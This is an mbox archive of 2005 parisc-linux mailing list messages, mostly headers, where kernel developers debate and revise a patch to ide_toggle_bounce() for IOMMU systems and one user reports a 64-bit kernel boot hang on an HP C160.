Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03078-09; Fri, 19 Aug 2005 04:19:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAE327D6D1;
	Fri, 19 Aug 2005 04:19:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D42A87D6CB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 04:19:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03208-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 04:19:09 -0600 (MDT)
Original-Received: from virtualhost.dk (ns.virtualhost.dk [195.184.98.160])
	by free.linux.hp.com (Postfix) with ESMTP id 344CB7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 04:19:09 -0600 (MDT)
Original-Received: from [62.242.22.158] (helo=router.home.kernel.dk)
	by virtualhost.dk with esmtp (Exim 3.36 #1)
	id 1E63xq-0001Tw-00; Fri, 19 Aug 2005 12:19:06 +0200
Original-Received: from nelson.home.kernel.dk ([192.168.0.33] helo=kernel.dk)
	by router.home.kernel.dk with esmtp (Exim 4.22)
	id 1E63xo-0002st-HU; Fri, 19 Aug 2005 12:19:04 +0200
Original-Received: by kernel.dk (Postfix, from userid 1000)
	id EA64F11926A; Fri, 19 Aug 2005 12:21:33 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <58cb370e05081903073d9a2b73@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cdd3Y9d+eSEkcL6WZHQhaXN1IGRvb4Bz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23109

On Fri, Aug 19 2005, Bartlomiej Zolnierkiewicz wrote:
> Hi,
> 
> http://www.ussg.iu.edu/hypermail/linux/kernel/0209.1/1074.html
> 
> Jens, is this still true??

It is, ide-cd would require changes to accept highmem pages.

> > Ahoi,
> > 
> > The following patch fixes a crash caused by attempting to bounce buffer
> > when an IDE CD-ROM is used on a machine with an IO-MMU. [At least, this
> > patch fixes things so I can use my IDE CD-ROM behind an ns87415 on a
> > HP PA-RISC workstation.]
> > 
> > Why was this only allowed for disks?

Because not bouncing is a performance optimization and I only did the
work on ide-cd to allow it. Your patch breaks ide-cd on highmem i386
machines, so it's not acceptable.

Tells us more about this crash instead, I'm pretty sure you are working
around another issue (your io-mmu code, is it hardware or software?)
somehwere with this patch.


> > --- a/drivers/ide/ide-lib.c   18 Jul 2005 18:46:30 -0000
> > +++ b/drivers/ide/ide-lib.c   6 Aug 2005 20:28:04 -0000
> > @@ -410,7 +410,7 @@ void ide_toggle_bounce(ide_drive_t *driv
> >  {
> >         u64 addr = BLK_BOUNCE_HIGH;     /* dma64_addr_t */
> > 
> > -       if (on && drive->media == ide_disk) {
> > +       if (on) {
> >                 if (!PCI_DMA_BUS_IS_PHYS)
> >                         addr = BLK_BOUNCE_ANY;
> >                 else if (HWIF(drive)->pci_dev)
> > 
> > Cheers,
> > --
> > Kyle McMartin
> 

-- 
Jens Axboe

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit kernel booting problem (was: B132L
	outperforms...)
Date: Fri, 19 Aug 2005 04:47:01 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <4305B8A5.9070102@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623908 16523 80.91.229.3 (22 Nov 2014 02:38:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Aug 2005 11:00:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 19 Aug 2005 13:00:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ACD857D6E0;
	Fri, 19 Aug 2005 04:59:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03803-01; Fri, 19 Aug 2005 04:59:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0520E7D6D8;
	Fri, 19 Aug 2005 04:59:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 24DF97D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 04:59:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03456-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 04:59:53 -0600 (MDT)
Original-Received: from pd2mo3so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 7CF4C7D6D1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 04:59:53 -0600 (MDT)
Original-Received: from pd5mr5so.prod.shaw.ca
	(pd5mr5so-qfe3.prod.shaw.ca [10.0.141.181]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0ILG007KFTYHHP50@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 19 Aug 2005 04:47:05 -0600 (MDT)
Original-Received: from pn2ml1so.prod.shaw.ca ([10.0.121.145])
	by pd5mr5so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0ILG004A6TYHYH10@pd5mr5so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 19 Aug 2005 04:47:05 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0ILG00H66TYGA0@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 19 Aug 2005 04:47:05 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j7JAl2xG003609	for
	<parisc-linux@lists.parisc-linux.org>; Fri, 19 Aug 2005 04:47:03 -0600
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4953Y/RpeSEkVL6WZHQhaXN1IGRvb8CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23110

Grant Grundler wrote:
>>p.s.  I installed HPUX in 64-bit mode.  Which, so I'm told, should
>>have decreased my performance.  I'd like to get my C160 running Linux
>>in 64-bit mode, but I can't. :(
>
> Sure you can. recent 64-bit kernels will boot on C160.
> It's just not an obvious win in most cases.

No, I mean I'm running into problems trying to get a 64-bit kernel to
work.  Two problems - one I could work around, one I can't.

First is as soon as any kernel I've tried gets to enumerating EISA
devices it hangs.  The panel LEDs flash in a specific pattern.  I think
I remember reading about how each pattern is one nybble of an error code
(wow - I don't remember the last time I got to use the word 'nybble').
I should prolly do a ToC and grab the data for reporting, just haven't
got around to it yet.  Now, I know for a sure it's at the EISA point in
a 2.6.13 kernel as I can tell from the messages.  I think something
changed in recent kernels so that kernel messages are shown sooner in
the boot process.  Earlier kernels would just hang after about the same
amount of time, but I wouldn't see the message.  The LED pattern is the
same in all cases, regardless of kernel version.  BTW - can someone
confirm my kernel message theory?  Whoever made that change, thanks. :)

Anyways, if I disable EISA in the kernel, I get up to the SCSI driver it
hangs for about a minute then spits out a message about offlining the
drive:

ncr53c720-0: rev 0xf irq 67
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g
scsi: Device offlined - not ready after error recovery: host 0 channel 0
 id 0 lun 0

	Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Why toggle_bounce only for disks?
Date: Fri, 19 Aug 2005 09:32:02 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <1124458322.5130.18.camel__27615.6679763973$1416623908$gmane$org@mulgrave>
References: <20050806235615.GK3505@roadwarrior.mcmartin.ca>
	<58cb370e05081903073d9a2b73@mail.gmail.com>
	<20050819102132.GM6273@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623908 16528 80.91.229.3 (22 Nov 2014 02:38:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:28 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 PARISC list <parisc-linux@lists.parisc-linux.org>,
 Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
 Kyle McMartin <kyle@parisc-linux.org>
To: Jens Axboe <axboe@suse.de>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Aug 2005 13:32:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 19 Aug 2005 15:32:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 582867D6D5;
	Fri, 19 Aug 2005 07:32:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05975-05; Fri, 19 Aug 2005 07:32:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 489D07D6D8;
	Fri, 19 Aug 2005 07:32:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E54C7D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 07:32:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05975-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 07:32:12 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 5CDAF7D6D1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 07:32:12 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j7JDW1A00562; Fri, 19 Aug 2005 09:32:01 -0400
In-Reply-To: <20050819102132.GM6273@suse.de>
X-Mailer: Evolution 2.0.4 (2.0.4-6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PLp3Yy8TeSEkRb6WZHQhaXN1IGRvb4AV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23111

On Fri, 2005-08-19 at 12:21 +0200, Jens Axboe wrote:
> Because not bouncing is a performance optimization and I only did the
> work on ide-cd to allow it. Your patch breaks ide-cd on highmem i386
> machines, so it's not acceptable.
> 
> Tells us more about this crash instead, I'm pretty sure you are working
> around another issue (your io-mmu code, is it hardware or software?)
> somehwere with this patch.

OK, so the particular fix is wrong; but the logic in ide_toggle_bounce()
is also incorrec.  Our problem is not that we don't want to bounce
highmem in ide-cd, it's that this is a parisc system with an IOMMU and
doesn't have any highmem to begin with.

we need ide_toggle_bounce to return BLK_BOUNCE_ANY always if
PCI_DMA_BUS_IS_PHYS is not set.

James

diff --git a/drivers/ide/ide-lib.c b/drivers/ide/ide-lib.c
--- a/drivers/ide/ide-lib.c
+++ b/drivers/ide/ide-lib.c
@@ -410,10 +410,10 @@ void ide_toggle_bounce(ide_drive_t *driv
 {
 	u64 addr = BLK_BOUNCE_HIGH;	/* dma64_addr_t */
 
-	if (on && drive->media == ide_disk) {
-		if (!PCI_DMA_BUS_IS_PHYS)
-			addr = BLK_BOUNCE_ANY;
-		else if (HWIF(drive)->pci_dev)
+	if (!PCI_DMA_BUS_IS_PHYS)
+		addr = BLK_BOUNCE_ANY;
+	else if (on && drive->media == ide_disk) {
+		if (HWIF(drive)->pci_dev)
 			addr = HWIF(drive)->pci_dev->dma_mask;
 	}
 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jens Axboe <axboe@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Why toggle_bounce only for disks?
Date: Fri, 19 Aug 2005 16:03:08 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20050819140307.GY6273__9450.99309687993$1416623909$gmane$org@suse.de>
References: <20050806235615.GK3505@roadwarrior.mcmartin.ca>
	<58cb370e05081903073d9a2b73@mail.gmail.com>
	<20050819102132.GM6273@suse.de> <1124458322.5130.18.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623909 16532 80.91.229.3 (22 Nov 2014 02:38:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:29 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 PARISC list <parisc-linux@lists.parisc-linux.org>,
 Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
 Kyle McMartin <kyle@parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Aug 2005 14:00:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 19 Aug 2005 16:00:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F2C37D74B;
	Fri, 19 Aug 2005 08:00:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06392-10; Fri, 19 Aug 2005 08:00:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35F7F7D72E;
	Fri, 19 Aug 2005 08:00:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC91F7D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 08:00:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06392-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 08:00:45 -0600 (MDT)
Original-Received: from virtualhost.dk (ns.virtualhost.dk [195.184.98.160])
	by free.linux.hp.com (Postfix) with ESMTP id 51FA47D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 08:00:45 -0600 (MDT)
Original-Received: from [62.242.22.158] (helo=router.home.kernel.dk)
	by virtualhost.dk with esmtp (Exim 3.36 #1)
	id 1E67QH-0000zL-00; Fri, 19 Aug 2005 16:00:41 +0200
Original-Received: from nelson.home.kernel.dk ([192.168.0.33] helo=kernel.dk)
	by router.home.kernel.dk with esmtp (Exim 4.22)
	id 1E67QF-0005hG-EA; Fri, 19 Aug 2005 16:00:39 +0200
Original-Received: by kernel.dk (Postfix, from userid 1000)
	id 782A22611; Fri, 19 Aug 2005 16:03:08 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1124458322.5130.18.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ToN3Y5BDeSEkVr6WZHQhaXN1IGRvbwDb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23112

On Fri, Aug 19 2005, James Bottomley wrote:
> On Fri, 2005-08-19 at 12:21 +0200, Jens Axboe wrote:
> > Because not bouncing is a performance optimization and I only did the
> > work on ide-cd to allow it. Your patch breaks ide-cd on highmem i386
> > machines, so it's not acceptable.
> > 
> > Tells us more about this crash instead, I'm pretty sure you are working
> > around another issue (your io-mmu code, is it hardware or software?)
> > somehwere with this patch.
> 
> OK, so the particular fix is wrong; but the logic in ide_toggle_bounce()
> is also incorrec.  Our problem is not that we don't want to bounce
> highmem in ide-cd, it's that this is a parisc system with an IOMMU and
> doesn't have any highmem to begin with.
> 
> we need ide_toggle_bounce to return BLK_BOUNCE_ANY always if
> PCI_DMA_BUS_IS_PHYS is not set.
> 
> James
> 
> diff --git a/drivers/ide/ide-lib.c b/drivers/ide/ide-lib.c
> --- a/drivers/ide/ide-lib.c
> +++ b/drivers/ide/ide-lib.c
> @@ -410,10 +410,10 @@ void ide_toggle_bounce(ide_drive_t *driv
>  {
>  	u64 addr = BLK_BOUNCE_HIGH;	/* dma64_addr_t */
>  
> -	if (on && drive->media == ide_disk) {
> -		if (!PCI_DMA_BUS_IS_PHYS)
> -			addr = BLK_BOUNCE_ANY;
> -		else if (HWIF(drive)->pci_dev)
> +	if (!PCI_DMA_BUS_IS_PHYS)
> +		addr = BLK_BOUNCE_ANY;
> +	else if (on && drive->media == ide_disk) {
> +		if (HWIF(drive)->pci_dev)
>  			addr = HWIF(drive)->pci_dev->dma_mask;
>  	}

That looks more correct, indeed. It's really too convoluted for drivers,
the defines/setup could do with a little work-over.

-- 
Jens Axboe

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Fri, 19 Aug 2005 11:46:55 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20050819174655.GA6376__41568.3607374833$1416623909$gmane$org@colo.lackof.org>
References: <20050817101017.008D03658E8@mail.esiee.fr>
	<Pine.HPX.4.33n.0508171249360.19860-200000@studcom.urz.uni-halle.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623909 16533 80.91.229.3 (22 Nov 2014 02:38:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:29 +0000 (UTC)
Cc: kyle@parisc-linux.org,
 alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Clemens Ladisch <clemens@ladisch.de>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Aug 2005 17:41:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 19 Aug 2005 19:41:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB5817D77E;
	Fri, 19 Aug 2005 11:41:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07835-10; Fri, 19 Aug 2005 11:41:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B322A7D780;
	Fri, 19 Aug 2005 11:41:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
